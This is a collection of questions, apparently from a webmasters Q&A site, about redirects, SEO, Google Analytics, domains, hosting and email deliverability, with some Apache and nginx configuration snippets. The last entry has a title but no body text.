text: In my website I changed the directory name "vehicles-cars" to "vehicles-cars- for-sale". When I tried to redirect using a wild card redirect from my old directory name to new directory name in my web hosting cPanel account, I get an error every time I open pages from that directory: > this webpage has a redirect loop The website is php. The problem is that that I have lots of pages with the old directory indexed in Google and they are getting duplicate content. I really need some advice on what to do with this problem. Here is .htaccess file code for redirect, thanks.               RewriteEngine on          RewriteCond %{HTTP_HOST} ^adsbuz\.com$ [OR]     RewriteCond %{HTTP_HOST} ^www\.adsbuz\.com$          RewriteRule ^vehicles\-cars\/?(.*)$ "http\:\/\/adsbuz\.com\/vehicles\-cars\-for\-sale\/$1" [R=301,L]


title: Good practice for sending out test emails without being classified as a spammer

text: I am trying out some new ideas involving HTML emails that will be sent from my site. I am sending lots of test emails to my Gmail and Yahoo accounts, all of which go straight to the spam folder. Although this is OK for now, but I am afraid that Google or Yahoo will classify my domain as an email spammer. Is there a good way to send lots of test emails and not have Google or other recipient email system filter it? This might involve an account setting, sandbox accounts, special email header, or to/from setting (I'm really not sure.) I am using PHP to send out the email. Here is a link to another post that shows my code: http://codereview.stackexchange.com/questions/45215/good-html-email-template


title: Is Amazon Affiliate program rewarding also leads from partner vendors (vendors "hosted" by Amazon)?

text: I would like to join the Affiliate program of Amazon and I am wondering, if the comissions are paid only for the products sold and shipped by Amazon itself or if I can "link" also to the products of the "hosted" vendors (like: "Sold and shipped by xxx")?


title: ASP .NET Blog Engine Web Installer API

text: For one project i need a blog engine that support multiple blogs (registered user can create their own blogs). Blog engine has to be fully integrated with some existing system (users, roles, security etc.) so i need some good API, and if it is possible, blog engine must be developed in .NET. Thanks.


title: Including Open Graph meta tags and Twitter card tags for SEO

text: I have used these tags before to share some content for user to preview on Facebook or Twitter before they actually go into the shared link/video. But when I was asked to include these tags only for SEO I had this doubt which I can split into two parts **part 1:** Let us assume these tags are included in the head tag of HTML doc. But there are no like, tweet or share links in the page.   a) Will these tags then help Google to search this page (assuming the page already has title and description meta tag)?   b) Will these tags help search used within Facebook and Twitter? **part 2:** Let us assume these tags are included in the head tag of HTML doc and also there are like or share links in the page.   c) Will these tags then help Google, Facebook and Twitter to search this page since there will be lot of clicks happening through these like, tweet and share links.


title: One variant receives way more visitors than the other (Google Content Experiments)

text: I've been running a number of A/B tests using Google Content Experiments, and have had the same problem across all the tests I've run in the last couple weeks. One variant (the original page) receives about 2.5 times as many visitors as the other. The pages I'm testing receive about 40,000 visits a week, and I've run single tests for over a week, so it's astronomically unlikely that this imbalance is just a statistical anomaly. Any ideas on why this imbalance might be occurring? EDIT: Turns out this is a "feature" (per obscure Google documentation). My question, then, is how can I turn this feature off?


title: Redirect root path on root domain to subdomain

text: Say there's a web application that runs on `example.com`, would there be a penalty for 301 redirecting the root of the domain (`example.com/`) to `subdomain.example.com` for purposes of hosting the marketing website for an application? Obviously we would expect `subdomain.example.com` to be what is ranked in the search engine, not `example.com`. We would want other paths on `example.com` like `example.com/path/to/resource` to index normally, and be unaffected by the 301 on the root path.


title: Domain Name Squatters Targeting my Domain

text: About a week ago I did something dumb. I went to network solutions, typed in my current domain name, checked the boxes next to any tld that was available and hit "add to cart". I was curious to see what the cost would be for buying every variant. Network Solutions website actually crashed when I tried this. This morning, my boss received an email saying something like: > Dear CEO, This email is sent by XXXX Co., Ltd(ICP Record NO.XXXX),located in > XXXX,China,an institution registering domains in China professionally,also a > member of "Domains Security Union" of CNNIC. Here we have something to > confirm with your company,we received an application on May 3,2012, one > company called "YYYY Co, ,Ltd." intended to register the following Network > Brand and Domain names: Followed by a list of many of the domain names I had attempted to register.... I am sure this makes my boss uneasy, but my colleague says he gets this sort of email twice a year and that it is a scam. Is there any real danger here, or is this just an extortion attempt for me to buy those domains? EDIT: I should note that searching any unique part of that email brought up virtually no results in Google.


title: Google is not treating two Australian schools as separate sites when both are subdomains of qld.edu.au

text: My question relates to two websites, each of which is a "Calvary Christian College", however in two totally different locations and unrelated to each other entirely (except by name, and thus domain). All schools in the state are issued a `<school-name>.qld.edu.au` subdomain, in this case `calvary.qld.edu.au` and `calvarycc.qld.edu.au`. Now what's interesting is that these domains are crossing each other in sitelinks for searches such as `calvary christian college townsville`. The green data here is for one school (the Townsville school, as per search term), and the red data is for the other school. I've put a demotion in for this >6 months ago (we control `calvary.qld.edu.au`), however we're seeing no change on the results page. I have been able to get the owners of `calvarycc.qld.edu.au` to submit demotions for our domain, which should go in sometime in the next few days. What can we do to tell Google that these websites are not interchangeable, despite both appearing as "subdomains" of `qld.edu.au`? We can possibly open channels of communication with the administrators of `qld.edu.au` but will need to tell them what we need to change, and at this point I'm out of ideas.


title: Something like firebug for internet explorer?

text: Is there something like Firebug for Internet Explorer? I've got a site that is only supposed to be working in IE so I'm only targeting IE and the site is not supposed to work in Firefox.


title: Apache: redirect URL of internal WSGI server

text: The following Apache `conf` file serves a WSGI application via port 9002:               <VirtualHost *:9002>         SSLEngine on         SSLCertificateFile /etc/apache2/ssl/apache.crt         SSLCertificateKeyFile /etc/apache2/ssl/apache.key              WSGIDaemonProcess matching-server user=ubuntu group=ubuntu threads=1         WSGIScriptAlias / /var/www/matching-server/server.wsgi              <Directory /var/www/matching-server>             WSGIProcessGroup matching-server             WSGIApplicationGroup %{GLOBAL}             AllowOverride AuthConfig             Order deny,allow             Allow from all         </Directory>     </VirtualHost>      The WSGI server responds to `/metadata` call, and returns a JSON with uptime information. I would like to alias `/api` to `/metadata`, so that calls to `/api` will be re-written as calls to `/metadata` and sent to the internal WSGI server. I have enabled `mod_rewrite` on the Ubuntu server:               sudo a2enmod rewrite      And added the following rewrite rule to the `conf` file:               RewriteEngine On     RewriteRule    ^api/?$    /metadata    [NC,L]      I tried adding the rewrite rule after the `SSL` section and inside the `Directory` section, but I am still getting a `Not Found` error when accessing `/api`:               Not Found          The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.      Needless to mention, `/metadata` works without problems with or without the redirect rule. Any idea what's wrong with my rewrite rule?


title: How to make a split test that reduces scripts from Google Tag Manager in a tool like VisualWebOptimizer

text: We have a website, where we use Google Tag Manager, in order to insert a big amount of scripts. We want to run a split test, where we reduce these scripts by 70%, which should improve load time (even though the scripts from Tag Manager runs async), and hopefully improve the conversion rate. However, how do we make a split test, where we can change the amount of scripts fired in Tag Manager?


title: Low number of site map links and none of mobile site map links indexed in the google

text: There 2,521 sitemap URLs submit to the Google webmaster tools. But they indexed only 548 URLs and 1,256 mobile sitemap URLs were submitted but none of it indexed. This shown in whole last month. URLs has Status OK and no any errors. Can anybody enplane why this happen? Is my sitemap code error or It's normal thing in Google webmaster tools?


title: Can owning a domain name for each city improve search engine optimization?

text: My boss asked me and I wasn't sure exactly how to answer. I'd like to get some advice from others that have hit this issue before. Scenario: We are wanting to purchase a new chain of domain names for a new site expenditure. The #1 goal for my boss is when a customer searches for "This product miami", or "miami this product" that our URL will always show up first because the structure of the URL would be indicative of the search term. So if the user searched for "This product miami", the search result would return www.thisproductmiami.com of if they search for "This product new york", it would return www.thisproductnewyork.com So, getting thisproductnewyork.com, thisproductmiami.com and so on for every major city in the US. So we will end up purchasing a "thisproductthiscity.com" for every city. To me as a web developer the best way I'd see this working is: miami.thisproduct.com newyork.thisproduct.com That way, the city still searchable, but its all managed and aggregated by one domain. What would give us the best search results. Purely based on the URL. This would help me out so much, any advice with links to articles or anything covering the subject so I can back it up with docs, would be nice.


title: Developing payment gateway

text: I have an idea of developing internet payment gateway similar to PayPal or Webmoney. Since i'm only sophomore at Computer Science, and i've only taken intermediate programming classes, i've no idea where to search for general information about this topic. I do understand that this kind of project is CLEARLY too much to handle for sophomore. Since, it's forum for Pro Webmasters, and probably some of you can point direction of study.   1. What book/source/article would you suggest to read to understand fundamentals of internet payment?   2. What book/source/article would you suggest to read to understand fundamentals internet security?   3. What language is most commonly used for developing payment security of website? I appreciate any help. Thank you.


title: Why do differant domains have differant prices?

text: Why are `.com` domains cheaper than less common domains? I was recently looking at getting a `.mu` domain, and was surprised that the "cheapest" price I could find was $58 (less if gotten for more years), yet you can get `.com` domains for under $10. I understand some are country codes, so that might be a factor, but I'm mostly inquiring on why non-county code domains have varying costs (although why costs for country code domains are so much more would be helpful as well). **Edit:** I am not asking about the difference in prices between registrars, but rather between different domains (`.co`, `.com`, `.tv`, etc). Aka, what is the reason one domain is worth more than another?


title: Redirecting bad links to the correct links via htacess or 301 redirect plugin for WordPress

text: I'm getting a lot of 404 errors b/c I recently switched content management systems (Habari to WordPress). I would like to use the 301 redirect plugin for WordPress to capture and helpfully redirect the offending links to the correct urls. Here's an example of the type of errors I'm seeing and what they should be redirected to:               http://janetalkstech.com/admin/publish?id=146       should redirect to `http://janetalkstech.com/?p=146`               http://janetalkstech.com/admin/publish?slug=post-title      should redirect to `http://janetalkstech.com/post-title` I would greatly appreciate any specific pointers on how to perform the redirects with either the 301 redirect plugin for WordPress or via .htaccess file Edit: Redirection plugin being used is the one by Urban Giraffe: `http://urbangiraffe.com/plugins/redirection/`


title: Node.js - Is there any front-end js? Or is it all backend?

text: With Node.JS as a backend solution; is there any frontend javascript or all events controlled on the backend?


title: Error message when opening Googlebase data feed

text: I'm trying to get my site's products uploaded to google's merchant center, but it's only uploading 2 of the ~20,000 I have. When I open the datafeed url (in Chrome) to look into it I get the error message "error on line 38 at column 761: Entity 'Acirc' not defined error on line 38 at column 761: Encoding error" Now I'm not sure exactly what the problem is, when I look at the product where it encountered the error everything looks ok but something is obviously not. What should I be looking into? Thanks


title: Moving from Subdirectory to Subdomain structure

text: I have a website (powered by Rails/Postgres and nginx) where I had setup a blog and a coupons section as:               http://myrailsapp.com/blog/ http://myrailsapp.com/coupons/      Blog is powered by wordpress and similarly the coupons section is powered by PHP/Mysql. The traffic of my website has increased a lot over the last 6 months. So, the thought was to move Blog and coupons on a different server and hence I dont need to run mysql/php etc where my rails app is running, reducing my memory footprint as much as I can. So I am planning to move to subdomain structure from the existing subdirectory structure. 1) Is the above thought process correct? 2) How much SEO impact would I have, if I move from subdirectory to subdomain and set up 301 redirects. My subdirectory structure for coupons is indexed quite well in Google. So any mistake here could be costly :( 3) I am not an expert on Nginx, so I ended up writing whatever I could:               location ^~ /coupons/ {         rewrite ^/coupons(.*) http://coupons.myrailsapp.com$1 permanent;     }      Would that set up 301 redirects correctly? Is there something else that I am missing here? Or is that all about it? Anything else in the above code that I must take care as far as SEO also goes.


title: Index Company Name but not other keywords

text: I'm working on a website that doesn't want it's content indexed by search engines because it only caters to a specific segment of the population. It purposefully wants to stay hidden from the general public. It **does** want it's company name indexed in search engines however, because when the company sends targeted snail mail advertising, users should be able to type the name and find the site. It's a requirement for the homepage to function as a gateway into the the rest of the site, so it's unavoidable that the homepage will be rich in relevant keywords that could lead to the site being found by the general public. **Summary:** What's a good approach to have a webpage indexed solely by the company's name without generating other keyword searches related to the company?


title: How to get China to upgrade off IE6?

text: According to IE6 Countdown, IE6 usage is down to 11.4%, and they are watching for it to "drop to less than 1% worldwide, so more websites can choose to drop support". This sounds good in theory, but usage is highly concentrated in one geographic region:   * China, 34.6%   * South Korea, 23.5%   * Taiwan, 9.4%   * Vietnam, 8.9%   * Japan, 8.0%   * Hong Kong SAR, 7.0% Only a couple of countries in the top 10 are outside of east/southeast Asia. Half the world's IE6 users are in China. What this means is that even if _every other country in the world_ dropped to absolute 0 usage of IE6, we'd still be well above 5% IE6 usage worldwide. As a programmer, I know to profile for hotspots before spending any time optimizing, so if my goal is to get worldwide usage down, it's a waste of time to spend any effort on the 2.4% of Americans (or even the 3.9% of Argentines) using IE6. I need to go after China, and to a lesser extent South Korea and India. Are there specific reasons why these countries are using IE6 so much? What specific actions can a developer (or evangelist) do to help get these countries off IE6? Are they on a PC/OS that can't upgrade, or do they not know, or do they not want to, or are they not allowed to? Should we be pushing newer versions of IE, other browsers, other OSs, or mobile? Are these IE6 users home or corporate, and if the latter, is Chrome Frame or Firefox Portable an option? Are there a few specific websites they use, who we could ask to provide a better experience in more modern browsers? Are they using a small local version of a popular website, because the big popular one isn't translated into their language? I really know nothing about web browsers in China but that seems like I ought to if we want to get IE6 usage numbers down.


title: Is DiscountASP a good host choice for an app that will have mostly foreign traffic?

text: I've created an ASP.NET MVC application for a client in India. Most of the web traffic would come from India. I typically host my apps at DiscountASP, but would this be a good choice for an app whose traffic is primarily from India?


title: Spidering private member based websites

text: I'm building a member based social network that requires users to be logged in to view content, in addition to that the content feeds (blogs, forum posts, comments, etc) are being stored in a database. Will google be able to spider this site for key words? If not then what do I need to do for them to be able to spider it? If someone could link me to a descriptive article that'd be awesome because I'm not getting much info from google and google searches.


title: Google spidering: make content available but unsuable

text: I'm trying to figure out how to make it so that my member-based social network site can be spidered but is not possible for guests to post or interact with content in any way. What is the best way to do this? If anyone can suggest an article or tutorial specifically for this that would be awesome. The system I've had up in the past was a check user log script but that was for the whole page, is there a way to do this for (as an example) clicking inside a text box to type a comment or something?


title: Universal same-origin policy

text: Here is something I have been wondering about for the longest time. It seems very simple, but to this day I do not know any practically usable technology. Is there a way that I can browse the internet and enforce a universal "same origin" policy? By that I mean that my browser will simply not issue _any_ network requests for _anything_ that isn't in the same domain as the root website that I am visiting. Nothing. No images, no CSS, no JavaScript, no frames, no iframes, no AJAX requests, no plugin video content. Even though the WWW is now well into its adult life, it still seems like there is no way for me, the user, to visit a website which contains an image sourced from a third party server without that server knowing that I visited the website. I know that there are several individual, ad-hoc workarounds, but the very simple heart of the matter is that I should be able to instruct my browser in simple, broad terms to never start any requests to any off-site location. (Please don't tell me that this will break lots of sites. That's not a problem. This is a question of principle.) Does any such technology exist? Any special browsers, or plugins for popular browsers?


title: Is zz.zz.zz.zzz a local host or a domain Hostname?

text: I found in a video `zz.zz.zz.zzz.com` being as a URL and streaming the content from this. attached is the URL fro information. My question is: is there some URL like this `zz...`? Is this a localhost / a domain hostname ? ![enter image description here](http://i.stack.imgur.com/NyZww.png)


title: Get a list of pages within a domain without a title set

text: On our webshop, we have about 60k distinct URLs and some of them don't have a `<title>` set. I know the google parameter `intitle:` but I can't handle to find those pages using that. Do you have a hint for me, that does not require to install a crawler or something?


title: Is it better to publish poor content now than wait to add informative content later?

text: I'm working on a site and plan on creating dynamic information via PHP pages for each item in a list of approximately 10,000 titles. Right now all I have is the list itself, which IS kind of interesting for users coming from specific search queries. But this will mean a page which is basically just a list of item-titles (1 to 2 words long). SEO-wise, should I wait till I can link each item with an informative individual page, or should I go ahead and publish the list even though it's very poor in content?


title: PHPBB3 UCP Module only showing up for admins

text: I copied a bunch of examples online to create my own custom UCP page/module. And it worked. But it only shows up for administrators. I checked the ACP and there does not seem to be any settings there for permissions for any of the modules. I skimmed the code and found:                return array(         'filename' => 'ucp_nhl',         'title'    => 'UCP_NHL',         'version'  => '1.0.0',         'modes'    => array(         'nhl' => array('title' => 'NHL', 'auth' => 'acl_a_user', 'cat' => array('UCP_LEAGUE'))),         );      `'auth' => 'acl_a_user'` jumped out, but there does not seem to be a single resource online as to what that means. I checked the other UCP pages and they mostly use `'auth' => ''` so I switched to that. But it still only shows up for administrators. What am I doing wrong? Is there some refresh thing I have to do, I tried disabling and enabling the module, but that had no effect.


title: Which class should I use to register a trademark for my domain?

text: I want to protect my domain name, so I've been thinking of registering it as a trademark. Does anyone know what class a website would come under (for the registration process)? Also, do you think this is necessary? I've already found another website with the same name, but a weird country suffix added to it. **EDIT:** The website would be an educational website (not sure if that helps).


title: Grep directory name

text: Need a script to grep within a directory for folders named by emails (so looking for the @) to then search the apache logs to see if the email address grep'ed has accessed the website today. Then after this I need to look at the user-agents detail to see what browser they are using


title: Shopping Cart Abandonment Email Service?

text: I'm looking for a third-party service to integrate with my custom shopping cart to automatically send emails to people that leave the checkout before finishing; aka, abandoning their cart. Basically, anytime someone leaves the site and we have their email address, we'd like to send them an email enticing them to come back to the site. That's the basics of it, any additional functionality would be great. Suggesting other products, offering some kind of special offer, etc. I'm just looking for any services that offer this rough description. Thanks


title: What response headers encourage 304-Not Modified upon reloads?

text: When looking at the network waterfall in Firebug/Chrome/IE9, I keep seeing "200-OK" instead of "304-Not Modified" for many cache-able files (images, js, css) on this page, for example. I believe it is because the browser is not sending a If-Modified-Since during the Request, right? Do I need to change something in the initial Response headers to make 304s happen? FF13 screenshot


title: Requests in form: http://www.site.com/one/two/three/ in Apache 2

text: how can I configure Apache server, to mantain requests such as: http://developers.facebook.com/docs/reference/fql/ (i mean the /one/two/three)? What's the name of this technique and how it is done? Thanks.


title: Aggregating customer service emails from multiple ecommerce sites for easy handling

text: For one of my main customer help email addresses I use Mozilla Thunderbird with a combination of tags and saved searches. As the number of my e-commerce sites grows from 1 to more, customer service handling gets more tricky. Is there any simple and efficient way of handling emails from the different sites? Perhaps what I'm looking for is a way of aggregating customer service emails from different sites, into one place? Perhaps there's a way of already doing this within Thunderbird or Gmail?


title: Free Website Marketing & Backlinks?

text: What are some good places to advertise my websites for free? I've already submitted them to Google, Yahoo!, and Bing. Now, I am looking for some places I can create legitimate backlinks. Does anyone have any ideas?


title: Litmus test to determine if javascript content is crawlable

text: Already read this: How can I create links in javascript that are crawlable by search engines? I make the assumption that if you view source on a page and can find content / links hidden by javascript contained within appropriate html tags after the page is finished loading the first time, then crawlers can find the content / links as well. Is this true? Also is there any special markup available that will highlight the content to a search engine? Is finding the content in the html after initial page load an appropriate test whether the javascript on a page is Search engine friendly?


title: Disqus comment form missing from posts

text: I decided to transition from IntenseDebate to Disqus for the blog. So I uninstalled ID via their uninstall process (you upload the template to them, they remove code, you reupload your new template onto the site). Then I went to install Disqus into the site through their Blogger widget method. The problem is that there is no comment form present on any of the blog posts' pages. For example, when you click on the 'Comments' link it jumps to `#disqus-thread` but there is no thread there. So is there any fix that I can do in order to make the comment form appear? I checked Disqus' knowledgebase for Blogger installation but as far as I can tell my template should be compatible.


title: Which Opensource License i release my new Youtube video download Project so no one can ask me that this project is against youtube?

text: i have designed new opensource youtube video downloader but download videos from youtube is against youtube **How can i make this type of message :** This is opensource project that is used to download videos from youtube but downloading videos from youtube is against youtube and use of this project under study purpose only. Or Which Opensource License i release so that no one can ask me that this is against youtube?


title: Software for video subscription service

text: I'd like to sell instructional videos over the web. Primarily, I'd like uses to subscribe to the site and be allowed access to videos over the internet. Secondarily, I might sell DVDs for those who have poor internet connections or would like a physical copy, or possibly I'd sell eBooks and the like in the future. Regarding the subscriptions:   * I'd like a system that automatically sends out e-mails when it is time to renew   * I'd like to be able to offer free trials   * Users without a free trial or subscription should not be able to access the content     * Incidentally, I plan to host videos on my current web host and move them to a CDN when volume (and capital) make this a good idea. While I have no intention to go crazy with the DRM, it seems expedient not to directly link to the files -- how can I link to them indirectly?   * It would be nice to support multiple payment processors -- specifically, I'd like to avoid a PayPal only approach. Are there any web applications (or plugins) you'd recommend for something like this? While I've set up and administered several web technologies, I've never done anything with e-commerce. I see there are possibilities like osCommerce, one friend recommends using WordPress with plugins, and it really appears that for any given CMS, you can graft on components like this, although I imagine that not all are created equal. As I'm not tied to a particular web application (and, while open source software that can run on a LAMP [p=perl, python, php] stack is preferable), I'd like to make a good choice at the beginning.


title: Is a domain name transfer required or can I just link to old domain name without transferring?

text: I have two domain names (`www.abc.com` and `www.xyz.com`) which are hosted using say a company called Old-Host. Now, the hosting plan has expired and they have taken down all data residing in their servers without giving me enough time to get back to them. As a result only the domain names are active (`abc.com` and `xyz.com`), however data is lost and the site does not load. I researched and found this new hosting company, lets call NewHost to be appropriate and they allow multiple domains also. My question is, should I transfer those old two domains (`abc.com` and `xyz.com`) over to the new hosting company NewHost, or can I still let those old domain names reside with OldHost and have my data in NewHost refer to those domain names? Example, I just sign up only for hosting space at NewHost (no domain name purchased), and I configure such that when I enter `www.abc.com` (which was registered by OldHost) the data is collected from NewHost? Is such a configuration possible, or should I have domain name transfer effected for this to happen?


title: wordpress installation issues

text: I Installed Wordpress under (UBUNTU)`/var/www/wordpress`. `wp-config.php` is modified as recommended. When trying to access `http://x.y.z.a/wordpress/wp-admin/wp-install.php` it doesn't open the page but instead downloads the file...


title: why are my sites bien blocked by Smartfilter at my work

text: Why are my domains being blocked by Smartfilter (owned by Yahoo) at work. I buddy mentioned that he had the issue before. He "categorized" his domain with his registrar, changing it from "Uncategorized". Shortly after it worked. How can domains be categorized? I look through all the options at my registrar (Go Daddy) without finding one for domain categories. Any help would be appeciated


title: Digest Authentication - how is it used?

text: I understand a bit about digest authentication from here http://en.wikipedia.org/wiki/Digest_access_authentication, but I am pretty unclear on where, when or how it is used. I can't find anything on that side of it. Where, when and why would a webmaster use it? Does it require any extra code on a site if the server has it implemented? As you can see, I pretty much in the dark about how it is used, so any info would be helpful. Maybe this could become a FAQ


title: Universal Analytics and no Referral Exclusion List

text: With new _Universal Analytics_ , every new referral value triggers a new session: > ## How excluding referral traffic affects your data > > By default, a referral automatically triggers a new session. When you > exclude a referral source, traffic that arrives to your site from the > excluded domain doesn’t trigger a new session. If you want traffic arriving > from a specific site to trigger a new session, don't include that domain in > this table. > > _Source:https://support.google.com/analytics/answer/2795830_ And then, there is this _Referral Exclusion List_ to make _some_ referrals not trigger it: >   1. Navigate to a property. If you're not in the settings screen, click > **Admin**. >   2. Click **Tracking Info** then **Referral Exclusion List**. >   3. Enter the _Domain_. >   4. Click **Apply** to save. > However, I'm not able to find **Referral Exclusion List** in my **Tracking Info**. :( Here's a screenshot: ![No Referral Exclusion List in Tracking Info od Google Analytics](http://i.stack.imgur.com/FIpTr.png) What can be done about it? This effectively prevents me from tracking source of my conversions (payment is handled at external site). (I even tried manually substituting `TrackingCode/` to `ReferralExclusionList/` in **Admin** dashboard URL, with no success.)


title: How do clicks from Google Places show up in Analytics?

text: We've just implemented Google Places for our business and are getting a few hits through the mini-analytics that places have. But those are just a hybrid impressions, CTR chart. Is there a way to track clicks from local results in the full blown Google Analytics?


title: Wordpress and local business SEO

text: Which Wordpress plugins and themes have been verified by the online community to be best at maintaining good SEO for a Wordpress site representing local business? Is there a site that is specfically dedicated to tracking local business SEO optimized Wordpress developments?


title: When having multiple firing rules in Tag Manager - "and" or "or"?

text: Let us say I have some tag in Tag Manager. This event has two firing rules:   1. "All pages"   2. "Domain equals domain.com" Is this seen as an: (1) AND (2) or: (1) OR (2) This is quite important for how to add the rules.


title: Versatile cloud storage/VCS?

text: I'm looking for online storage that can "corral" many other forms of online storage like FTP, SSH, WebDAV, and commercial services like Google Storage and Dropbox, and to keep these files "in sync". In other words, I'm looking for a cloud storage service that will connect all the various forms of storage I work with or that my clients hand to me (i.e. Dropbox) in one virtual filesystem. Second to that, I'm looking for something with strong versioning features. And second to that, I'm looking for something with good ability to show a "preview" of most file types within the browser, and to let me write notes and annotations on any file type. P.S. I'm willing to do some work to set up a software stack on a bare-metal machine that I control in order to achieve the desired functionality if there isn't a commercial service that provides all these features.


title: How to automatically generate HTML table from image in Linux?

text: In Photoshop, you can easily divide the image into zones using point and click and it automatically generates the corresponding HTML with image slices addressed in tables. Gimp also has a Slice (Filter > Web > Slice) but it is so rudimentary and, as far as I can see, does not allow point and click selection of slices. I am wondering if the functionality can be added into Gimp, or there are other Linux software to do this. I hate to return to Windows just to do this simple task which I happen to use frequently. Thanks in advance for your suggestions.


title: Competitor Web Keywords

text: I am working on my SEO and have looked over my own keyword traffic through Google Analytics, but is there a way to see the **traffic competitors get** from a particular keyword? For example, if I get 200 hits for "house cleaning," I don't actually know if that's good or bad until I see my competitors...if they get 1,000 hits from that term, we're doing horribly, but if they only get 10 hits, we're doing great. Thanks (and yes, i know how to `view source` to see their `meta tags`, but i want to actually see the numbers they are getting)


title: View competitors popular web pages

text: Just wanted to know if there is an online tool that shows a website most popular pages from highest to least.


title: Can a past Expires header value cause a site to not be indexed by Google?

text: I'm using this:               <filesMatch "\.(html|htm|js|css)$">       FileETag None       <ifModule mod_headers.c>          Header unset ETag          Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"          Header set Pragma "no-cache"          Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"       </ifModule>     </filesMatch>      Will this cause my site to not be indexed by Google?


title: Automated Google Analytics Reporting Monthly Emails Only Showing A Single Day

text: I have configured a dashboard for Google Analytics, selected (using the date drop down menu at the top right) to show one months worth of data and have compared it to the previous month. I then configured monthly emails to be sent to me and to test I did the same thing again, but instead configured the emails to email me daily. The email came in this morning and only shows a single days worth of Analytics information... Despite using the calendars to show a months worth of data, since I selected a frequency as 'daily' will Google only show me one days worth of Analytics? Can I expect my monthly email to show a months worth of data? **NOTE:** The question may sound obvious, but to time frame I can't wait until the end of the month to receive the monthly email to see if this will work, because if it emails me and only shows me one days worth of information I'll have to wait another month to see if attempts to fix it have worked. **NOTE #2:** I'm not sure if maybe I am being stupid but from my research what I have described above should work, but Google's documentation is a little vague, I have been going off what I have read on various blogs with regards to my specific requirements.


title: Why does Google fonts looks ugly in Firefox & Internet Explorer but not in Chrome?

text: I am using Google fonts. The fonts are looking too ugly on Firefox but displaying very smooth on Google chrome. Looking forward for any help to resolve this issue. Following are the sites which are having issue on Firefox & Internet Explorer http://promptgroup.org/ http://airagility.com/ Following are the sites which are also using Google fonts without any issues on Firefox http://www.parmapizza.ca/ http://unbeatable.com.pk/


title: Pagination and duplicate content

text: I have an archive page that displays the number of articles published. Because there were so many, I ran a pagination script: for `127.0.0.1/archive/2/?p=x&pp=y` where `p` is the page number and `pp` is number of articles to display per page. The pagination looks like this:               Prev  1  2  3  4 ... 12   NEXT      with each item linking to `p` like `<a href="?p=x">x</a>`. I also have the items per page setter: 25 | 50 | 100 `(<a href="?pp=y">y</a>)`. Now I have a PHP script that fixes `pp` into a session variable. But I am worried about duplicate content (since incrementing `pp` values will be inclusive) and also content not getting indexed because its not in the pagination link. so in the example above, pages 5-11 will not be indexed. Any ideas on how to fix this?


title: how to stop other sites linking non available urls to our site which leads to 404

text: I check webmastertools for 404's. I can see other sites linking to my site but with additional characters which makes the link a 404 in my site. for example if i have a url like sitename.com/category/product-name.html and other sites read this content from some other source and are listing in their site like sitename.com/category/product-name.htmlAs because of such improper link backs(which i did not create in that site) i get a lot of 404's in webmastertools. how do we prevent this?


title: What is the shortest valid and available numerical domain name?

text: **559.com is unavailable:** ![enter image description here](http://i.stack.imgur.com/UGThv.png) **10019976.com is available:** ![enter image description here](http://i.stack.imgur.com/VAg2r.png) But how can I figure out the lowest number available as a ".com" domain name?


title: On shared hosting, all subdomains are hosted on the same server?

text: On shared web hosting, are all subdomains like `foo.example.com` and `bar.example.com` always hosted on the same server (same IP address)?


title: How to force Google to index images and webpages? Or I shouldn't bother and just wait a bit more?

text: I have a web site with a lot of web-pages and images. I created the sitemaps (grouped into single sitemaps index file). I submitted those sitemaps to Google but the indexing process is disappointingly slow: ![Web-pages and images submitting ad indexing](http://i.stack.imgur.com/jPw8l.png) Sitemaps was submitted on Feb. 4th. Submitting process started on Feb. 8th and so on:               02/09/2014 - Indexed 187 images     02/10/2014 - 956     02/11/2014 - 1180     02/12/2014 - 1196     02/13/2014 - 1198     02/14/2014 - 1192 (!!!)     02/15/2014 - 561 (!!!)     02/16/2014 - 1144     02/17/2014 - 1144      So the images indexing process is weird. However the crawling process look much more attractive and promising: ![enter image description here](http://i.stack.imgur.com/MXwbR.png) Do I need to wait some extra time? Or do I need to take some actions to help Google to index my web-site correctly?


title: When to tell Google Webmaster Tools that domain has moved

text: I have moved a site to a different domain name and did a complete overhaul. Link structure has changed because the old one was very bad. That being said, I am doing 301's manually on about 1800 pages. I prioritize what to move first based on SEO Landing Pages report in Google Analytics. Stuff that has most impressions and clicks goes first and some content is clearly bad so I will just 301 to a suitable section of the new site. I am about half way done with my 301's. Should I wait until I finish all my 301s or can I indicate in Google Webmaster Tools that the domain has moved?


title: Registrar with good security, DNS hosting, and DNSSEC and IPv6 resolvers?

text: I'm looking to move my domains away from GoDaddy, but I'm having a tough time finding anyone with comparable features at a (even remotely) similar price. I've looked at the usual suggestions (NameCheap, Gandi.net, etc.), but they all seem to lack many of the GoDaddy feature base. I'm looking for:   * DNSSEC   * IPv6 Resolvers (dig pdns01.domaincontrol.com AAAA; etc. )   * SSL-Logins by default   * HTTP-only login cookies   * No stupid password restrictions   * Two-factor authentications   * No DNS record limits   * Rough DNS statistics (queries/day, etc.)   * Audit trails GoDaddy has all of these, except two-factor, for $3/month. See http://www.godaddy.com/domains/dns-hosting.aspx I can't seem to find _any_ other registrar that supports even a few of these. Is there a registrar that offers comparable features? Or, barring that, a DNS hosting service that offers similar features? (AWS Route53 doesn't offer DNSSEC or IPv6)


title: Tracking first visit date in Google Analytics

text: I want track a site's visitor retention using Google Analytics, to see if unregistered users are returning to it, within a time frame of 2+ months from now. This blog post seems to be on the right track, but I want to track unregistered users, so I don't have a "join date" or similar variable at my disposal. This other blog post suggests using all 5 GA custom variables, using the first variable slot on the first week, variable 2 on week 2, etc. This method will allow me to track 5 weeks of visitors. I want to track more than 5 weeks of visitors, so I was thinking on using two custom variables in GA: visitor's first visit date, and visitor's last visit date. How I can save the first visit date? Because if I save another value in the same slot the old value will be overwritten, and I don't know how reliable is to save that variable conditionally (reading the `__utmv` cookie to check whether the "first visit date" is set, if it isn't set I save the current date)


title: Clients requesting garbled URLs

